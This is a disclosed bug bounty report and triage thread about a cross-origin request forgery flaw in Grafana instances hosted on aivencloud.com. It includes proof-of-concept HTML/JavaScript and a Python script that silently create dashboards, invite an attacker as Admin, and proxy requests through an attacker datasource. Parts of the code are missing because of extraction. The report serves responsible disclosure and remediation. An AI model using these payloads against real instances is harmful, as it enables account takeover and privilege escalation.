Professional Documents
Culture Documents
abrahack
Disclaimer
To triage, please note that this is still a 0-day that was alerted to Grafana already, in order to make sure the
client is safe I report this issue now, please make sure to not spread it further or leak it, as the best interest
is to let you be aware and safer from any potential attacks in the meantime.
Description
@jub0bs and I have found a cross-origin request forgery attack issue in the Grafana instances hosted on
the Aiven platforms (CVE-2022-21703, which is still a 0-Day CVE on Grafana) . With the cross-origin
request forgery attack it's possible for an attacker to successfully mount cross-origin request forgery
attack against authenticated victims of other grafana instances hosted on *.aivencloud.com .
Exploitation
So here is the attack story an example user John Doe runs a grafana instance at
https://johndoe.aivencloud.com . An attacker will deploy his own grafana instance at
https://attacker.aivencloud.com , this attacker's instance would host a malicous html file with a
javascript payload, that will trigger the cross-origin request forgery attack against John Doe while he is
logged into https://johndoe.aivencloud.com .
Now thanks to this attack all POST / GET requests would work thanks to the cross-origin-request-forgery
attack, the root cause of this is because grafana sets their auth cookie grafana_session to
SameSite=Lax; Secure https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/
Attack Chain.
1. Login into Aiven Console, at https://console.aiven.io, in a new browser instance let's call it B-1.
2. On B1, create two new Grafana instance, name the first one attacker and the second victim, wait
till it's up and running.
Image F1588761: Screenshot_(1400).png 155.88 KiB
3. Now click on the Grafana attacker instance in the Aiven Console, then head to the bottom of that
page.
Image F1588762: Screenshot_(1403).png 172.64 KiB
1allow_embedding
5. Open a new browser instance, call it B-attacker, log into the attacker grafana instance.
Image F1588758: Screenshot_(1406).png 333.60 KiB
2 <head></head>
3 <body>
4<h1>cross-origin-request-forgery POC</h1>
5<div id=statusdiv></div>
6<script>
10function log_status(msg) {
11 //status logger.
14}
15
16function dashboard_poc() {
19 fetch(url,
20 {
21 method:"POST",
22 mode:"no-cors",
23 credentials:"include",
24 headers: {
27 body: JSON.stringify(
28 {
29 "dashboard": {
30 "title": "grafana_csrf_0_day"
31 }
32 }
33 )
34 })
35}
36
37function invite_poc() {
40 fetch(url,
41 {
42 method:"POST",
43 mode:"no-cors",
44 credentials:"include",
45 headers: {
47 },
48 body: JSON.stringify(
49 {
50 "name": "attacker",
51 "email": "",
52 "role": "Admin",
53 "sendEmail": false,
54 "loginOrEmail": "attacker@example.com"
55 }
56 )
57 })
58}
59
60function finish_up() {
61 log_status("[+] Inspect the list of dashboards on your Grafana instance at" + victim_instance
+"/dashboards; you should see a new dashboard named `grafana_csrf_0_day`.")
62 log_status("[+] Inspect the the list of pending user invitations on your Grafana instance at" +
victim_instance +"/org/users; you should see one for `attacker`.")
63}
64
66dashboard_poc()
67invite_poc()
68setTimeout(finish_up, 20000);
69</script>
70 </body>
71</html>
Replace the above string <vic_instance> to the victims grafana instance url, e.g https://grafana-
xmen.aivencloud.com . Now save the edited payload on yout http(s) server as c-o-payload.html .
1import requests
2import random
3import string
4import sys
6if len(sys.argv) != 4 :
8 sys.exit()
10def rand_genarator(length):
12
16 headers = {
19 "Accept-Language": "en-US,en;q=0.5",
21 "Content-Type": "application/json"
22 }
23 json = {
24 "access": "proxy",
25 "isDefault": False,
27 "type": "prometheus",
28 "url": payload_url
29 }
32
Run the command, pip2 install requests . Now run the script by running the command, python2
create_ssrf_endpont.py "https://attacker-grafana-instance" "http://cross-origin-
payload-url" "attacker-grafana-instance-cookie" . Note the following;
2http://cross-origin-payload-url --> this is the url of the payload you saved step 7.
1<html>
2 <head></head>
3 <body>
5<div id=statusdiv></div>
6<script>
12
13var csrf_html = `
16 <input type="submit">
17 </form>
18 <svg onload=document.forms[0].submit()>
19`;
20
21function log_status(msg) {
22 //status logger.
25}
26
27function create_iframe() {
30 iframe.hidden = true;
31 iframe.srcdoc = csrf_html;
32 document.body.appendChild(iframe);
34}
35
36function xmen() {
38 window.location = attacker_csrf_proxy;
39}
40
41create_iframe()
42setTimeout(xmen, 20000);
43</script>
44 </body>
45</html>
2<att_password> to the password of the attackers grafana instance url, you should see
this in the aiven console .
1http://your_server/c-s-login.html
Note replace your_server with the server ip / hostname, where you saved the payload in step 9.
Impact
Risk
By luring the authenticated Grafana Admin to the malicious page, the attacker can gain access to your
Grafana instance as an Organization Admin. This privilege escalation would, among other things, allow
him to view/add/edit/remove dashboards and users.
Remediation
As of now there is no official remediation, Grafana are aware of the issue and will ship a fix soon.
It's highly possible that there will be intrusion attempts against your Grafana instance, for that make sure:
22 attachments:
F1588743: attack_flow.JPG
F1588744: Screenshot_(1423).png
F1588745: Screenshot_(1422).png
F1588746: Screenshot_(1421).png
F1588747: Screenshot_(1417).png
F1588748: Screenshot_(1416).png
F1588749: Screenshot_(1414).png
F1588750: Screenshot_(1415).png
F1588751: Screenshot_(1413).png
F1588752: Screenshot_(1411).png
F1588753: Screenshot_(1412).png
F1588754: Screenshot_(1410).png
F1588755: Screenshot_(1409).png
F1588756: Screenshot_(1408).png
F1588757: Screenshot_(1407).png
F1588758: Screenshot_(1406).png
F1588759: Screenshot_(1405).png
F1588760: Screenshot_(1404).png
F1588761: Screenshot_(1400).png
F1588762: Screenshot_(1403).png
F1588766: t1.jpg
F1588780: recording-1642880064221.webm
abrahack
posted a comment.
Jan 22nd (2 years ago)
Thanks for the report and extremely detailed writup! We have deployed a temporary fix while we wait for
Grafana to publish updates. All new grafana instances should use SameSite=Strict rather than
SameSite=Lax .
We'll update this ticket soon with more information after we've discussed next steps as a team.
I've triaged this as High, due to the user interaction requirement. The CVSS for this would be medium,
however we do feel that it warrants a higher severity AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Best, staaldraad
abrahack
posted a comment.
Jan 25th (2 years ago)
Hi @staaldraad_aiven ,
posted a comment.
Updated Jan 25th (2 years ago)
@staaldraad_aiven Thanks for adding me to the report. Bear in mind that, because the attack is same-
site (as opposed to cross-site), the SameSite attribute has no effect. Cranking it up to Strict adds no
protection whatsoever.
One thing you should consider in the long term (but it has important ramifications) is to request
aivencloud.com to be added to the Public Suffix List. That way, foo.aivencloud.com and
bar.aivencloud.com would be different sites, and one instance couldn't attack another like we've
described.
abrahack
posted a comment.
Jan 25th (2 years ago)
Hi @staaldraad_aiven ,
I can confirm as well that the SameSite=Strict is not an appropriate fix, the issue still exists
regardless .
I tested this on a new instance, with the Strict as default and the attack still worked.
staaldraad_aiven
Aiven Ltd staff
posted a comment.
Jan 25th (2 years ago)
Thanks @jub0bs
What is your recommendation for dealing with the same-site issue, I admittedly only skim read your blog
post, but I do not see a recommendation. shifting to a TLD+2 type model
( customer1.xxxx.aivencloud.com and customer2.yyyyy.aivencloud.com , while not an option
right now, would that change the "site"?).
We'd ideally like to have a remediation in place while waiting for Grafana to issue an official patch. We
would also need time to evaluate grafana patch stability etc before deploy for customers, so a mitigation
on our end would be best.
Cheers
abrahack
posted a comment.
Jan 25th (2 years ago)
What I will advice is to hold on a bit, for grafana's patch it would come in less than a week from now.
I understand your concerns, but for now I don't have a fix suggestion .
Please if you guys are awarding a bounty, please @jub0bs and I , would love a 50/50 split, if you can do
that.
jub0bs
posted a comment.
Jan 25th (2 years ago)
@staaldraad_aiven I'm going to echo @abrahack's comment. Unless you have a way of blocking cross-
origin requests at the proxy level or something, your best course of action is likely to wait for Grafana's
fix; it shouldn't take more than a few days to drop.
staaldraad_aiven
Aiven Ltd staff
posted a comment.
Jan 26th (2 years ago)
As a note, the PoC does not work (for me at least) if the victim is using Chrome/Chromium latest builds.
Firefox does work. Tested with Chrome: Version 97.0.4692.99 (Official Build) (64-bit)
The problem is the request to /api/datasources/proxy/x does not have the grafana_session cookie
attached in Chrome. Firefox does send this request with the cookie.
As you can see in the screenshot, the login happens, and then the redirect after 20 seconds does not
include the cookie. Like I've mentioned, it works with Firefox, so the PoC is good and looks like I've
recreated correctly, it is just browser behaviour may vary. And yes, the attacker grafana has
SameSite=None set.
vs Firefox (ignore the 502 error that the SSRF proxy ends up producing, that is because Grafana doesn't
trust the certificate on the server)
Cheers,
2 attachments:
F1592900: Screenshot_from_2022-01-26_08-21-23.png
F1592906: Screenshot_from_2022-01-26_08-26-55.png
abrahack
posted a comment.
Jan 26th (2 years ago)
Hi @staaldraad_aiven ,
4. Add the below advanced configurations to your attacker instance on aiven console.
Code 40 BytesWrap lines Copy Download
1allow_embedding
posted a comment.
Jan 26th (2 years ago)
Here is a video POC showing the attack the latest version of Chrome.
1 attachment:
F1592952: recording-1643185397373.webm
staaldraad_aiven
Aiven Ltd staff
posted a comment.
Jan 26th (2 years ago)
abrahack
posted a comment.
Jan 26th (2 years ago)
Hi @staaldraad_aiven .
abrahack
posted a comment.
Jan 29th (2 years ago)
Hi @staaldraad_aiven .
Regards, @abrahack .
staaldraad_aiven
Aiven Ltd staff
posted a comment.
Feb 1st (2 years ago)
Thanks @abrahack
Apologies for the delay, we are working on some internal process changes to improve our bug bounty
program, paradoxically that has lead to a slow down in some areas.
abrahack
posted a comment.
Feb 1st (2 years ago)
Hi @staaldraad_aiven ,
Please if you guys are awarding a bounty, please @jub0bs and I , would love a 50/50 split, if you can do
that.
staaldraad_aiven
Aiven Ltd staff
posted a comment.
Feb 1st (2 years ago)
@abrahack @jub0bs we'll need you to setup the collaboration + bounty split ratio before we set the
reward.
Bounties can't be split retroactively (i.e. after the bounty has already been awarded).
To add @jub0bs as a collaborator and set the ratio to 50/50, you can use these steps:
https://docs.hackerone.com/hackers/payments.html#bounty-splitting
I don't seem to have any option on splitting the reward on our end.
abrahack
posted a comment.
Feb 1st (2 years ago)
Hi @staaldraad_aiven ,
Regards, @abrahack .
Aiven Ltd
Rewarded as High ($1000) as this has helped push us to getting aivencloud.com into the PSL (work in
progress).
posted a comment.
Feb 1st (2 years ago)
Hello @aiven_ltd,
jub0bs
posted a comment.
Feb 1st (2 years ago)
jub0bs
posted a comment.
Feb 3rd (2 years ago)
Please be advised that Grafana's fix has unfortunately been delayed to Tuesday, February 8th.
jub0bs
posted a comment.
Feb 8th (2 years ago)
abrahack
posted a comment.
Feb 16th (2 years ago)
Hi @staaldraad_aiven ,
Regards, @abrahack .
staaldraad_aiven
Aiven Ltd staff
posted a comment.
Feb 28th (2 years ago)
Hey @abrahack
We've incorporated aivencloud.com into the PSL and will be rolling out CSRF fix in the next few days. At
that point all new grafana instances will have the patch and mandatory maintenance will be triggered on
existing instances.
Cheers, staaldraad
abrahack
posted a comment.
Feb 28th (2 years ago)
Hi @staaldraad_aiven ,
staaldraad_aiven
Aiven Ltd staff
Hey @abrahack
The CSRF patches from upstream grafana are deployed and all new instances on Aiven should have the
latest version. Existing instances will get the new versions when maintenance is performed during the
specified maintenance window.
Thanks again for the great report and the patience while we got it sorted out.
Cheers,
abrahack
posted a comment.
Mar 3rd (2 years ago)
Hi @staaldraad_aiven ,
staaldraad_aiven
Aiven Ltd staff
posted a comment.
Mar 15th (2 years ago)
@abrahack sorry for the delay, I missed your message. I'm confirming with the team now, but I think we
will do disclosure.
staaldraad_aiven
Aiven Ltd staff
staaldraad_aiven
Aiven Ltd staff